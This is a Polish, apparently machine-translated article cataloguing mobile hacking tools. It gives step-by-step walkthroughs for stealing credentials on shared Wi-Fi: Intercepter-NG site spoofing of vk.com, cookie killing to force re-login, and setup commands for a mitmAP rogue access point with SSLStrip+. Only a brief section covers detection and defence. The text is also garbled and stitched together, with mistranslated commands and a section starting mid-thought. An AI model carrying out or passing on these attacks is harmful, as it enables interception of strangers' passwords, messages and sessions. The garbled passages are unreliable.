Przechwytujemy hasła i pliki cookie. Eksperyment: jak ukraść dane osobowe za pomocą darmowego Wi-Fi Jak przechwycić dane przez Wi-Fi Android

„Smartfon z narzędziami hakerskimi? Nie ma czegoś takiego” – powiedzielibyśmy niedawno. Niektóre ze zwykłych narzędzi do przeprowadzania ataków można było uruchomić tylko na niektórych Maemo. Obecnie wiele znanych narzędzi zostało przeniesionych na iOS i Androida, a niektóre narzędzia hakerskie zostały napisane specjalnie dla środowiska mobilnego. Czy smartfon może zastąpić laptop w testach penetracyjnych? Postanowiliśmy to sprawdzić.

ANDROID

Android to popularna platforma nie tylko dla zwykłych śmiertelników, ale także dla właściwych osób. Liczba przydatnych narzędzi ][ jest tutaj po prostu nieprawdopodobna. Za to możemy podziękować UNIXowym korzeniom systemu - znacznie uprościło to przenoszenie wielu narzędzi na Androida. Niestety Google nie pozwala na wprowadzenie niektórych z nich do Sklepu Play, dlatego będziesz musiał ręcznie zainstalować odpowiedni plik APK. Ponadto niektóre narzędzia wymagają maksymalnego dostępu do systemu (na przykład zapora sieciowa iptables), dlatego należy wcześniej zadbać o dostęp do konta root. Każdy producent stosuje tutaj własną technologię, ale znalezienie niezbędnych instrukcji jest dość łatwe. Zasoby LifeHacker (bit.ly/eWgDlu) przygotowały dobry zestaw HOWTO. Jeśli jednak nie udało Ci się znaleźć tutaj modelu, z pomocą zawsze przychodzi forum XDA-Developers (www.xda-developers.com), na którym możesz znaleźć różne informacje na temat praktycznie każdego modelu telefonu z Androidem. Tak czy inaczej, niektóre z narzędzi opisanych poniżej będą działać bez dostępu do roota.

Zacznijmy recenzję od nietypowego menedżera pakietów. Twórcy nazywają to „narzędziami dla superużytkowników” i nie jest to dalekie od prawdy. Po zainstalowaniu BotBrew otrzymasz repozytorium, z którego możesz pobrać ogromną liczbę znanych narzędzi skompilowanych dla Androida. Wśród nich: interpretery Pythona i Ruby do uruchamiania wielu zapisanych w nich narzędzi, sniffer tcpdump i skaner Nmap do analizy sieci, Git i Subversion do pracy z systemami kontroli wersji i wiele więcej.

Skanery sieciowe

Niepozorny smartfon, który w przeciwieństwie do laptopa łatwo mieści się w kieszeni i nigdy nie budzi podejrzeń, może przydać się do eksploracji sieci. Powiedzieliśmy już powyżej, jak zainstalować Nmap, ale istnieje inna opcja. PIPS to port skanera Nmap specjalnie dostosowany do systemu Android, aczkolwiek nieoficjalny. Oznacza to, że możesz szybko znaleźć aktywne urządzenia w sieci, określić ich system operacyjny za pomocą opcji odcisków palców, wykonać skanowanie portów - krótko mówiąc, zrobić wszystko, do czego potrafi Nmap.

Pomimo całej jego mocy, korzystanie z Nmapa wiąże się z dwoma problemami. Po pierwsze, parametry skanowania przekazywane są za pomocą klawiszy uruchamiania, które trzeba nie tylko znać, ale także umieć wprowadzić za pomocą niewygodnej klawiatury mobilnej. Po drugie, wyniki skanowania w wynikach konsoli nie są tak jasne, jak byśmy chcieli. Skaner Fing nie ma tych wad; bardzo szybko skanuje sieć, pobiera odciski palców, a następnie wyświetla w przejrzystej formie listę wszystkich dostępnych urządzeń, dzieląc je według typu (router, komputer stacjonarny, iPhone i tak dalej). Jednocześnie dla każdego hosta możesz szybko wyświetlić listę otwartych portów. Co więcej, stąd możesz połączyć się, powiedzmy, z FTP, korzystając z klienta FTP zainstalowanego w systemie - bardzo wygodne.

Jeśli chodzi o analizę konkretnego hosta, narzędzie NetAudit może okazać się niezastąpione. Działa na każdym urządzeniu z Androidem (nawet nierootowanym) i pozwala nie tylko na szybką identyfikację urządzeń w sieci, ale także na ich sprawdzenie za pomocą dużej bazy odcisków palców w celu ustalenia systemu operacyjnego, a także systemów CMS używanych w sieci serwer. Obecnie w bazie danych znajduje się ponad 3000 cyfrowych odcisków palców.

Jeśli wręcz przeciwnie, musisz pracować na niższym poziomie i dokładnie sprawdzić działanie sieci, nie możesz obejść się bez Net Tools. Jest to niezbędny zestaw narzędzi w pracy administratora systemu, który pozwala na pełną diagnozę pracy sieci, do której podłączone jest urządzenie. Pakiet zawiera ponad 15 różnych typów programów, takich jak ping, traciroute, arp, dns, netstat, Route.

Manipulacja ruchem

Sniffer oparty na tcpdump rzetelnie loguje wszystkie dane do pliku pcap, który można następnie zbadać za pomocą znanych narzędzi, takich jak Wireshark lub Network Miner. Ponieważ nie zaimplementowano w nim żadnych możliwości ataków MITM, jest to raczej narzędzie do analizy ruchu. Jest to na przykład świetny sposób na sprawdzenie, jakie programy zainstalowane na Twoim urządzeniu pochodzą z podejrzanych repozytoriów.

Jeśli mówimy o aplikacjach bojowych na Androida, to jedną z najbardziej rewelacyjnych jest FaceNiff, który implementuje przechwytywanie i wstrzykiwanie do przechwytywanych sesji internetowych. Pobierając pakiet APK z programem, możesz uruchomić to narzędzie hakerskie na prawie każdym smartfonie z Androidem i łącząc się z siecią bezprzewodową, przechwytywać konta różnych usług: Facebook, Twitter, VKontakte i tak dalej - ponad dziesięć razem. Przejmowanie sesji odbywa się za pomocą ataku ARP spoofing, ale atak jest możliwy tylko na połączeniach niezabezpieczonych (FaceNiff nie może wcisnąć się w ruch SSL). Aby ograniczyć przepływ skryptów, autor ograniczył maksymalną liczbę sesji do trzech - wówczas należy skontaktować się z programistą w celu uzyskania specjalnego kodu aktywacyjnego.

Jeśli twórca FaceNiff chce pieniędzy za jego używanie, to DroidSheep jest całkowicie darmowym narzędziem o tej samej funkcjonalności. Co prawda pakietu dystrybucyjnego nie znajdziesz na oficjalnej stronie internetowej (wynika to z surowych niemieckich przepisów dotyczących narzędzi bezpieczeństwa), ale bez problemu można go znaleźć w Internecie. Głównym zadaniem narzędzia jest przechwytywanie sesji internetowych użytkowników popularnych sieci społecznościowych, realizowane przy użyciu tego samego ARP Spoofing. Istnieje jednak problem z bezpiecznymi połączeniami: podobnie jak FaceNiff, DroidSheep kategorycznie odmawia współpracy z protokołem HTTPS.

To narzędzie pokazuje również niepewność otwartych sieci bezprzewodowych, ale na nieco innym poziomie. Nie przechwytuje sesji użytkowników, ale pozwala na przepływ ruchu HTTP przez siebie, stosując atak spoofingowy, wykonując przy jego pomocy określone manipulacje. Począwszy od zwykłych żartów (zastąpienie wszystkich zdjęć w serwisie trollfacemi, przerzucenie wszystkich obrazków lub, powiedzmy, podmiana wyników Google), a skończywszy na atakach phishingowych, kiedy użytkownikowi udostępniane są fałszywe strony tak popularnych serwisów jak facebook.com,linkedin .com, vkontakte.ru i wiele innych.

Jeśli zapytasz, które narzędzie hakerskie dla Androida jest najpotężniejsze, Anti prawdopodobnie nie ma konkurencji. To prawdziwy kombajn hakerski. Głównym zadaniem programu jest skanowanie obwodu sieci. Następnie do walki wkraczają różne moduły, za pomocą których wdrażany jest cały arsenał: podsłuchiwanie ruchu, przeprowadzanie ataków MITM i wykorzystywanie znalezionych luk. To prawda, że ​​​​są też wady. Pierwszą rzeczą, która rzuca się w oczy, jest to, że wykorzystanie luk odbywa się wyłącznie z centralnego serwera programu, który znajduje się w Internecie, w wyniku czego cele nie posiadające zewnętrznego adresu IP mogą zostać zapomniane.

Tunelowanie ruchu

Znany menedżer plików jest teraz dostępny na smartfonach! Podobnie jak w wersji na komputery stacjonarne, istnieje system wtyczek umożliwiających łączenie się z różnymi katalogami sieciowymi, a także kanoniczny tryb dwóch paneli - szczególnie wygodny na tabletach.

No dobrze, ale jak zapewnić bezpieczeństwo danych przesyłanych w otwartej sieci bezprzewodowej? Oprócz VPN, który Android obsługuje od razu po wyjęciu z pudełka, możesz utworzyć tunel SSH. Do tego celu służy wspaniałe narzędzie SSH Tunnel, które pozwala na przekierowanie ruchu wybranych aplikacji lub całego systemu jako całości przez zdalny serwer SSH.

Często konieczne jest przesyłanie ruchu przez serwer proxy lub SOX i w tym przypadku pomoże ProxyDroid. To proste: wybierasz ruch aplikacji, który chcesz tunelować i określasz serwer proxy (obsługiwane są protokoły HTTP/HTTPS/SOCKS4/SOCKS5). Jeśli wymagana jest autoryzacja, ProxyDroid również ją obsługuje. Nawiasem mówiąc, konfigurację można powiązać z konkretną siecią bezprzewodową, dokonując różnych ustawień dla każdej z nich.

Sieć bezprzewodowa

Wbudowany menedżer sieci bezprzewodowej nie dostarcza zbyt wielu informacji. Jeśli chcesz szybko uzyskać pełny obraz pobliskich punktów dostępu, narzędzie Wifi Analyzer będzie doskonałym wyborem. Nie tylko pokaże wszystkie pobliskie punkty dostępowe, ale także wyświetli kanał, na którym działają, ich adres MAC i, co najważniejsze, rodzaj zastosowanego szyfrowania (po zobaczeniu upragnionych liter „WEP” możemy założyć, że dostęp do zapewniona jest bezpieczna sieć). Ponadto narzędzie jest idealne, jeśli chcesz dowiedzieć się, gdzie fizycznie znajduje się żądany punkt dostępu, dzięki wizualnemu wskaźnikowi siły sygnału.

Narzędzie to, jak twierdzi jego twórca, może przydać się, gdy sieć bezprzewodowa jest zapełniona klientami korzystającymi z całego kanału i właśnie w tym momencie potrzebne jest dobre i stabilne połączenie. WiFiKill umożliwia odłączanie klientów od Internetu w sposób selektywny lub w oparciu o określone kryterium (np. możliwe jest wyśmiewanie wszystkich członków Yabłoko). Program po prostu przeprowadza atak polegający na fałszowaniu protokołu ARP i przekierowuje wszystkich klientów do siebie. Algorytm ten jest głupio po prostu zaimplementowany w oparciu o iptables. To jest panel sterowania dla sieci bezprzewodowych typu fast food :).

Audyt aplikacji internetowych

Manipulowanie żądaniami HTTP z komputera to bułka z masłem; jest do tego ogromna liczba narzędzi i wtyczek do przeglądarek. W przypadku smartfona wszystko jest nieco bardziej skomplikowane. Kreator zapytań HTTP pomoże Ci wysłać niestandardowe żądanie HTTP z potrzebnymi parametrami, na przykład żądanym plikiem cookie lub zmienionym klientem użytkownika. Wynik żądania zostanie wyświetlony w standardowej przeglądarce.

Jeśli witryna jest chroniona hasłem za pomocą podstawowego uwierzytelniania dostępu, możesz sprawdzić jej niezawodność za pomocą narzędzia Router Brute Force ADS 2. Początkowo narzędzie zostało stworzone do brutalnego wymuszania haseł na panelu administracyjnym routera, ale jasne jest, że może tak być użyte przeciwko jakimkolwiek innym zasobom o podobnej ochronie. Narzędzie działa, ale jest wyraźnie prymitywne. Na przykład programista nie przewiduje brutalnej siły, a jedynie brutalną siłę przy użyciu słownika.

Na pewno słyszałeś o tak rewelacyjnym programie do wyłączania serwerów WWW jak Slowloris. Zasada jego działania polega na utworzeniu i utrzymaniu maksymalnej liczby połączeń ze zdalnym serwerem WWW, uniemożliwiając w ten sposób połączenie się z nim nowym klientom. Zatem AnDOSid jest odpowiednikiem Slowlorisa bezpośrednio na Twoim urządzeniu z Androidem! Zdradzę ci sekret, dwieście połączeń wystarczy, aby zapewnić niestabilne działanie co czwartej strony internetowej, na której działa serwer WWW Apache. A to wszystko - z Twojego telefonu!

Różne narzędzia

Pracując z wieloma aplikacjami internetowymi i analizując ich logikę, dość często spotyka się dane przesyłane w postaci zakodowanej, czyli Base64. Encode pomoże Ci rozszyfrować te dane i zobaczyć, co dokładnie jest w nich przechowywane. Być może, podstawiając cudzysłowy, kodując je z powrotem do Base64 i podstawiając je w adresie URL witryny, którą szukasz, pojawi się upragniony błąd zapytania do bazy danych.

Jeśli potrzebujesz edytora szesnastkowego, jest też taki dla Androida. Za pomocą HexEditor możesz edytować dowolne pliki, w tym pliki systemowe, jeśli podniesiesz uprawnienia programu do poziomu superużytkownika. Doskonały zamiennik standardowego edytora tekstu, pozwalający łatwo znaleźć żądany fragment tekstu i go zmienić.

Zdalny dostęp

Gdy uzyskasz dostęp do zdalnego hosta, musisz móc z niego korzystać. I do tego potrzebujemy klientów. Zacznijmy od SSH, gdzie ConnectBot jest już de facto standardem. Oprócz wygodnego interfejsu zapewnia możliwość organizowania bezpiecznych tuneli poprzez połączenia SSH.

Przydatny program pozwalający na połączenie się ze zdalnym pulpitem poprzez usługi RDP lub VNC. Bardzo się cieszę, że są to dwa klienty w jednym; nie ma potrzeby korzystania z różnych narzędzi dla RDP i VNC.

Przeglądarka MIB napisana specjalnie dla systemu Android, za pomocą której można zarządzać urządzeniami sieciowymi za pomocą protokołu SNMP. Może się to przydać do opracowania wektora ataku na różne routery, ponieważ standardowy ciąg znaków społeczności (innymi słowy hasło dostępu) do zarządzania przez SNMP nie został jeszcze anulowany.

iOS

Platforma iOS jest nie mniej popularna wśród twórców narzędzi bezpieczeństwa. Ale jeśli w przypadku Androida prawa roota były potrzebne tylko dla niektórych aplikacji, to na urządzeniach Apple prawie zawsze wymagane jest jailbreakowanie. Na szczęście nawet dla najnowszego oprogramowania iDevices (5.1.1) dostępne jest już narzędzie jailbreak. Wraz z pełnym dostępem otrzymujesz także alternatywnego menedżera aplikacji Cydię, która zawiera już wiele narzędzi.

Praca z systemem

Pierwszą rzeczą, od której chcę zacząć, jest instalacja terminala. Z oczywistych powodów nie jest on zawarty w standardowym zestawie mobilnego systemu operacyjnego, ale będzie nam potrzebny do uruchomienia narzędzi konsolowych, co omówimy dalej. Najlepszą implementacją emulatora terminala jest MobileTerminal - obsługuje wiele terminali, gesty sterujące (na przykład do wysyłania Control-C) i ogólnie imponuje swoją przemyślanością.

Inną, bardziej złożoną opcją uzyskania dostępu do konsoli urządzenia jest zainstalowanie na niej OpenSSH (odbywa się to poprzez Cydię) i połączenie się z nim lokalnie poprzez klienta SSH. Jeśli używasz odpowiedniego klienta, takiego jak iSSH, który ma niesamowitą kontrolę za pomocą ekranu dotykowego, ta metoda jest jeszcze wygodniejsza niż korzystanie z MobileTerminal.

Przechwytywanie danych

Teraz, gdy masz dostęp do konsoli, możesz wypróbować narzędzia. Zacznijmy od Pirni, który przeszedł do historii jako pełnoprawny sniffer dla iOS. Niestety ograniczonego strukturalnie modułu Wi-Fi wbudowanego w urządzenie nie da się przełączyć w tryb promiscific niezbędny do normalnego przechwytywania danych. Do przechwytywania danych wykorzystuje się więc klasyczny spoofing ARP, za pomocą którego cały ruch przechodzi przez samo urządzenie. Standardowa wersja narzędzia uruchamiana jest z konsoli, gdzie oprócz parametrów ataku MITM określana jest nazwa pliku PCAP, do którego rejestrowany jest cały ruch. Narzędzie ma bardziej zaawansowaną wersję - Pirni Pro, która może pochwalić się interfejsem graficznym. Co więcej, może analizować ruch HTTP w locie, a nawet automatycznie wydobywać z niego interesujące dane (na przykład loginy i hasła), korzystając z wyrażeń regularnych określonych w ustawieniach.

Znany sniffer Intercepter-NG, o którym pisaliśmy już kilkukrotnie, doczekał się niedawno wersji konsolowej. Jak mówi autor, większość kodu napisana jest w czystym ANSI C, który zachowuje się tak samo niemal w każdym środowisku, dlatego wersja konsolowa od samego początku działała zarówno na desktopowych systemach Windows, Linux i BSD, jak i na platformach mobilnych, w tym iOS i Androida. Wersja konsolowa umożliwia już przechwytywanie haseł przesyłanych różnymi protokołami, przechwytywanie komunikatów internetowych (ICQ/Jabber i wiele innych), a także odzyskiwanie plików z ruchu (HTTP/FTP/IMAP/POP3/SMTP/SMB). Jednocześnie dostępne są funkcje skanowania sieciowego i wysokiej jakości ARP Poison. Do poprawnego działania należy najpierw zainstalować pakiet libpcap poprzez Cydię (nie zapomnij włączyć pakietów programistycznych w ustawieniach). Wszystkie instrukcje uruchamiania sprowadzają się do ustawienia odpowiednich praw: chmod +x intercepter_ios. Następnie, jeśli uruchomisz sniffera bez parametrów, pojawi się przejrzysty interaktywny interfejs Iterceptera, umożliwiający przeprowadzenie dowolnych ataków.

Trudno w to uwierzyć, ale to wyrafinowane narzędzie do realizacji ataków MITM zostało w końcu przeniesione na iOS. Po ogromie pracy udało nam się stworzyć pełnoprawny port mobilny. Aby uniknąć tańczenia z tamburynem wokół zależności podczas samodzielnej kompilacji, lepiej zainstalować już zbudowany pakiet za pomocą Cydii, po dodaniu theworm.altervista.org/cydia (repozytorium TWRepo) jako źródła danych. W zestawie znajduje się również narzędzie etterlog, które pomaga wyodrębnić różnego rodzaju przydatne informacje z zebranego zrzutu ruchu (np. konta dostępowe FTP).

Analiza sieci bezprzewodowej

W starszych wersjach iOS rzemieślnicy uruchamiali aircrack i mogli złamać klucz WEP, ale sprawdziliśmy: program nie działa na nowych urządzeniach. Dlatego, aby studiować Wi-Fi, będziemy musieli zadowolić się tylko skanerami Wi-Fi. WiFi Analyzer analizuje i wyświetla informacje o wszystkich dostępnych sieciach 802.11 w Twojej okolicy, w tym informacje o SSID, kanałach, dostawcach, adresach MAC i typach szyfrowania. Narzędzie tworzy wizualne wykresy w czasie rzeczywistym na podstawie danych dostępnych w powietrzu. Dzięki takiemu programowi łatwo jest znaleźć fizyczną lokalizację punktu, jeśli nagle o niej zapomnimy i np. rzucić okiem na PIN WPS, który może przydać się do połączenia.

Skanery sieciowe

Z jakiego programu korzysta każdy tester penetracji w dowolnym miejscu na świecie, niezależnie od celów i założeń? Skaner sieciowy. A w przypadku iOS będzie to najprawdopodobniej najpotężniejszy zestaw narzędzi Scany. Dzięki zestawowi wbudowanych narzędzi można szybko uzyskać szczegółowy obraz urządzeń sieciowych i np. otwartych portów. Ponadto pakiet zawiera narzędzia do testowania sieci, takie jak ping, traciroute, nslookup.

Jednak wiele osób woli Finga. Skaner ma dość prostą i ograniczoną funkcjonalność, ale do pierwszego zapoznania się z siecią powiedzmy kafeterii w zupełności wystarczy :). Wyniki wyświetlają informacje o dostępnych usługach na zdalnych komputerach, adresach MAC i nazwach hostów podłączonych do skanowanej sieci.

Wydawać by się mogło, że wszyscy zapomnieli o Nikto, ale dlaczego? W końcu możesz łatwo zainstalować ten skaner podatności na ataki sieciowy, napisany w języku skryptowym (mianowicie Perl), za pośrednictwem Cydii. Oznacza to, że możesz łatwo uruchomić go na urządzeniu po jailbreaku z terminala. Nikto chętnie udzieli Ci dodatkowych informacji na temat testowanego zasobu internetowego. Ponadto możesz własnymi rękami dodawać własne sygnatury wyszukiwania do swojej bazy wiedzy.

To potężne narzędzie do automatycznego wykorzystywania luk w zabezpieczeniach SQL zostało napisane w języku Python, co oznacza, że ​​po zainstalowaniu interpretera możesz z łatwością korzystać z niego bezpośrednio ze swojego urządzenia mobilnego.

Pilot

Wiele urządzeń sieciowych (w tym drogie routery) zarządzanych jest przy użyciu protokołu SNMP. To narzędzie umożliwia skanowanie podsieci w poszukiwaniu dostępnych usług SNMP przy użyciu wcześniej znanych wartości ciągów społeczności (innymi słowy, standardowych haseł). Należy pamiętać, że wyszukiwanie usług SNMP za pomocą standardowych ciągów społecznościowych (publicznych/prywatnych) w celu uzyskania dostępu do zarządzania urządzeniami stanowi integralną część każdego testu penetracyjnego, wraz z identyfikacją samego obwodu i identyfikacją usług.

Dwa narzędzia tego samego producenta służą do łączenia się ze zdalnym pulpitem za pomocą protokołów RDP i VNC. W App Store dostępnych jest wiele podobnych narzędzi, ale te są szczególnie łatwe w użyciu.

Odzyskiwanie hasła

Legendarny program, który pomaga milionom hakerów na całym świecie „zapamiętać” swoje hasła, został przeniesiony na iOS. Teraz możesz wyszukiwać hasła do usług takich jak HTTP, FTP, TELNET, SSH, SMB, VNC, SMTP, POP3 i wielu innych bezpośrednio ze swojego iPhone'a. To prawda, że ​​\u200b\u200baby uzyskać skuteczniejszy atak, lepiej zaopatrzyć się w dobre słowniki brutalnej siły.

Każdy zna z pierwszej ręki lukę w używaniu standardowych haseł. Pass Mule to rodzaj katalogu, który zawiera wszelkiego rodzaju standardowe loginy i hasła do urządzeń sieciowych. Są one wygodnie uporządkowane według nazwy dostawcy, produktu i modelu, więc znalezienie tego, czego potrzebujesz, nie będzie trudne. Program ma raczej na celu zaoszczędzenie czasu na szukaniu instrukcji do routera, standardowego loginu i hasła, które trzeba poznać.

Wykorzystywanie luk w zabezpieczeniach

Trudno wyobrazić sobie narzędzie bardziej hakerskie niż Metasploit i na tym kończy się nasza dzisiejsza recenzja. Metasploit to pakiet różnorodnych narzędzi, których głównym zadaniem jest wykorzystywanie luk w oprogramowaniu. Wyobraź sobie: około 1000 niezawodnych, sprawdzonych i niezbędnych exploitów w codziennym życiu pentestera - bezpośrednio na Twoim smartfonie! Za pomocą takiego narzędzia możesz naprawdę zaistnieć w dowolnej sieci. Metasploit pozwala nie tylko wykorzystywać błędy w aplikacjach serwerowych – dostępne są także narzędzia do atakowania aplikacji klienckich (na przykład poprzez moduł Browser Autopwn, gdy do ruchu klienckiego wstawiany jest ładunek bojowy). Tutaj trzeba powiedzieć, że nie ma mobilnej wersji zestawu narzędzi, jednak można zainstalować standardowy pakiet na urządzeniu Apple za pomocą .

Przechwytywacz to wielofunkcyjne narzędzie sieciowe, które pozwala uzyskiwać dane z ruchu (hasła, wiadomości błyskawiczne, korespondencja itp.) i wdrażać różne ataki MiTM.

Interfejs programu przechwytującego
Główna funkcjonalność

• Przechwytywanie wiadomości komunikatorów internetowych.
• Przechwytywanie plików cookie i haseł.
• Przechwytywanie aktywności (stron, plików, danych).
• Możliwość fałszowania pobierania plików poprzez dodawanie złośliwych plików. Można go używać w połączeniu z innymi narzędziami.
• Zastąpienie certyfikatów HTTPS certyfikatem Http.

Tryby pracy
Tryb Posłańców– umożliwia sprawdzenie korespondencji przesłanej w formie niezaszyfrowanej. Służył do przechwytywania wiadomości w takich komunikatorach internetowych jak wiadomości ICQ, AIM, JABBER.

Tryb wskrzeszenia– odzyskiwanie przydatnych danych z ruchu, z protokołów przesyłających ruch w postaci zwykłego tekstu. Gdy ofiara przegląda pliki, strony lub dane, mogą one zostać częściowo lub całkowicie przechwycone. Dodatkowo możesz określić rozmiar plików, aby nie pobierać programu w małych fragmentach. Informacje te można wykorzystać do analizy.

Tryb hasła– tryb pracy z plikami cookies. W ten sposób możliwe jest uzyskanie dostępu do plików odwiedzanych przez ofiarę.

Tryb skanowania– tryb główny do testów. Aby rozpocząć skanowanie, kliknij prawym przyciskiem myszy Inteligentne skanowanie. Po skanowaniu w oknie zostaną wyświetleni wszyscy uczestnicy sieci, ich system operacyjny i inne parametry.

Dodatkowo w tym trybie możliwe jest skanowanie portów. Musisz użyć funkcji Skanuj porty. Oczywiście istnieje do tego znacznie więcej funkcjonalnych narzędzi, ale obecność tej funkcji jest ważnym punktem.

Jeśli interesuje nas ukierunkowany atak w sieci, to po skanowaniu musimy dodać docelowy adres IP do Nat za pomocą polecenia (Dodaj do Nat). W innym oknie możliwe będzie przeprowadzenie kolejnych ataków.

Tryb Nat. Tryb główny, który pozwala na przeprowadzenie szeregu ataków poprzez ARP. Jest to główne okno umożliwiające ataki ukierunkowane.

Tryb DHCP. Jest to tryb, który umożliwia podniesienie poziomu serwera DHCP w celu wdrożenia ataków DHCP w środku.

Niektóre rodzaje ataków, które można przeprowadzić
Podszywanie się pod witrynę

Aby sfałszować witrynę ofiary, musisz przejść do Target, po czym musisz określić witrynę i jej substytut. W ten sposób możesz zastąpić całkiem sporo witryn. Wszystko zależy od jakości podróbki.

Podszywanie się pod witrynę

Przykład dla VK.com

Wybór ataku MiTM

​

Zmiana zasady wtrysku
W rezultacie ofiara otwiera fałszywą witrynę internetową, odwiedzając witrynę vk.com. Natomiast w trybie hasła powinien znajdować się login i hasło ofiary:

Aby przeprowadzić atak ukierunkowany, należy wybrać ofiarę z listy i dodać ją do celu. Można to zrobić za pomocą prawego przycisku myszy.

Dodanie ataków MiTm
Teraz możesz użyć trybu Ressurection, aby odzyskać różne dane z ruchu.

Pliki i informacje ofiar uzyskane w wyniku ataku MiTm
Fałszowanie ruchu

Określanie ustawień
Następnie prośba ofiary zmieni się z „zaufania” na „przegrany”.

Dodatkowo możesz zabić pliki cookie, aby ofiara wylogowała się ze wszystkich kont i zalogowała ponownie. Umożliwi to przechwycenie loginów i haseł.

Niszczenie plików cookie

Jak zobaczyć potencjalnego sniffera w sieci za pomocą Interceptera?
Korzystając z opcji Promisc Detection, możesz wykryć urządzenie skanujące w sieci lokalnej. Po skanowaniu w kolumnie stanu pojawi się „Sniffer”. Jest to pierwszy sposób na wykrycie skanowania w sieci lokalnej.

Wykrywanie sniffera
Urządzenie SDR HackRF

​

HackRF
SDR to rodzaj odbiornika radiowego, który pozwala na pracę z różnymi parametrami częstotliwości radiowej. Dzięki temu możliwe jest przechwycenie sygnału Wi-Fi, GSM, LTE itp.

HackRF to urządzenie z pełnym SDR za 300 dolarów. Autor projektu, Michael Ossman, rozwija udane urządzenia w tym kierunku. Sniffer Bluetooth Ubertooth został już wcześniej opracowany i pomyślnie wdrożony. HackRF to udany projekt, który na Kickstarterze zebrał ponad 600 tys. Do beta testów sprzedano już 500 takich urządzeń.

HackRF działa w zakresie częstotliwości od 30 MHz do 6 GHz. Częstotliwość próbkowania wynosi 20 MHz, co pozwala na przechwytywanie sygnałów z sieci Wi-Fi i LTE.

Jak się zabezpieczyć na poziomie lokalnym?
Na początek skorzystajmy z oprogramowania SoftPerfect WiFi Guard. Istnieje wersja przenośna, która zajmuje nie więcej niż 4 MB. Umożliwia skanowanie sieci i wyświetlanie, jakie urządzenia są w niej wyświetlane. Posiada ustawienia, które pozwalają wybrać kartę sieciową i maksymalną liczbę urządzeń do przeskanowania. Dodatkowo możesz ustawić interwał skanowania.

​

Interfejs programu SoftPerfect WiFi Guard
Po skanowaniu program wysyła powiadomienia o liczbie nieznanych urządzeń. Dzięki temu możemy dodawać i oznaczać zaufanych użytkowników oraz sprawdzać, czy ktoś się połączył i zaczął nasłuchiwać ruchu. Powiadomienia będą wysyłane po każdym interwale skanowania. Pozwala to wyłączyć określonego oszusta na routerze, jeśli występują podejrzane działania.

​

Ustawienia programu SoftPerfect WiFi Guard

​

Możliwość dodawania komentarzy dla użytkowników

​

Okno powiadomień dla nieznanych urządzeń po każdym określonym interwale skanowania

Wniosek
Tym samym sprawdziliśmy w praktyce, jak wykorzystać oprogramowanie do przechwytywania danych w sieci. Przyjrzeliśmy się kilku konkretnym atakom, które pozwalają uzyskać dane logowania, a także inne informacje. Dodatkowo przyjrzeliśmy się SoftPerfect WiFi Guard, który pozwala chronić sieć lokalną przed podsłuchiwaniem ruchu na prymitywnym poziomie.

I uruchamia je automatycznie, dzięki czemu osiągane jest obejście HTTPS/HSTS. W przypadku mitmAP nie musisz wchodzić w ten proces, ale jeśli chcesz zrobić coś podobnego, na przykład za pomocą create_ap, zapoznaj się z „Instrukcjami używania SSLStrip+ i dns2proxy do ominięcia HSTS”.

mitmAP pozwala na użycie najskuteczniejszych metod zmiany wersji HTTPS na HTTP praktycznie bez wprowadzania poleceń (i bez zrozumienia mechanizmu obejścia HTTPS). W moich testach hasło zostało przesłane jawnym tekstem dla vk.com, yandex.ru, mail.ru.

Skrypt ten jest wykonany w dwóch wersjach - do pracy w Kali Linux lub w Raspberry PI.

Skrypt powinien działać na pochodnych Debiana, jeśli zainstalujesz zależności; ale nie będzie działać np. w Arch Linux/BlackArch ze względu na wybraną przez autora metodę uruchamiania usług.

Instrukcje korzystania z mitmAP

Pobierz skrypt:

Klon Git https://github.com/xdavidhu/mitmAP.git cd mitmAP/

Uruchom:

Sudo python3 mitmAP.py

Skrypt rozpocznie się od pytania:

[?] Zależności instalacji/aktualizacji? T/n:

Tłumaczenie: zależności instalacji/aktualizacji?

Jeśli startujesz po raz pierwszy, to zgódź się, tj. naciśnij enter. W przyszłości możesz wybrać N(NIE).

Następne pytanie:

[?] Proszę podać nazwę swojego interfejsu bezprzewodowego (dla AP):

Tłumaczenie: Wprowadź nazwę swojego interfejsu bezprzewodowego (dla AP). Jeśli nie znasz nazw swoich interfejsów, to w innym oknie uruchom komendę:

Pokaże wszystkie interfejsy sieciowe w twoim systemie. I zespół

Sudo w deweloperze

pokaże tylko interfejsy sieci bezprzewodowej.

W Kali Linux interfejs bezprzewodowy jest zwykle nazywany wlan0(a jeśli są dwa, to drugi ma nazwę wlan1).

[?] Proszę podać nazwę interfejsu internetowego:

Tłumaczenie: Proszę wpisać nazwę interfejsu podłączonego do Internetu.

W Kali Linux interfejs przewodowy jest zwykle nazywany eth0. Do łączenia się z Internetem możesz także użyć drugiej karty Wi-Fi.

[?] Używasz protokołu SSLSTRIP 2.0? T/n:

Tłumaczenie: Skrypt pyta, czy użyć SSLStrip+ . Obecnie, gdy znaczna, jeśli nie większość, część ruchu jest przesyłana za pośrednictwem protokołu HTTPS (szyfrowanego), opcja ta jest wysoce zalecana.

[?] Utwórz nowy plik konfiguracyjny HOSTAPD w „/etc/hostapd/hostapd.conf” T/n:

Tłumaczenie: Czy powinienem utworzyć nowy plik konfiguracyjny hostapd.

Jeśli uruchamiasz go po raz pierwszy, należy to zrobić. Przy kolejnych uruchomieniach, jeśli nie zamierzasz zmieniać ustawień AP, możesz wybrać N(tj. „nie”).

Konfiguracja AP:

[?] Proszę wprowadzić SSID punktu dostępowego:

Tłumaczenie: Wprowadź nazwę punktu dostępowego.

[?] Proszę podać kanał dla AP:

Tłumaczenie: Wprowadź numer kanału AP.

[?] Włączyć szyfrowanie WPA2? tak/nie:

Tłumaczenie: Czy powinienem włączyć szyfrowanie WPA2?

Jeśli włączysz szyfrowanie, będziesz musiał wprowadzić hasło, aby połączyć się z punktem dostępowym. Dla naszych celów wybieramy „nie”.

Ostatnie ustawienie AP:

[?] Ustawić ograniczenie prędkości dla klientów? T/n:

Tłumaczenie: Czy powinienem ustawić ograniczenie prędkości dla klientów?

Wybieram nie

[?] Uruchom WIRESHARK na wlan0? T/n:

analiza danych mitmAP

mitmAP wyświetla przechwycone dane, w tym loginy i hasła, w swoim głównym oknie:

W swoim folderze tworzy katalog dzienniki z dwoma plikami: mitmap-sslstrip.log I mitmap-wireshark.pcap. Pierwszy plik zawiera zebrane dane w formie tekstowej. Drugi jest przeznaczony do analizy w programie Wireshark.

Uwaga: po ponownym uruchomieniu programu pliki te zostaną nadpisane! Te. jeśli zamierzasz później analizować te pliki, musisz zadbać o ich przeniesienie lub zmianę nazwy, w przeciwnym razie zostaną po prostu usunięte.

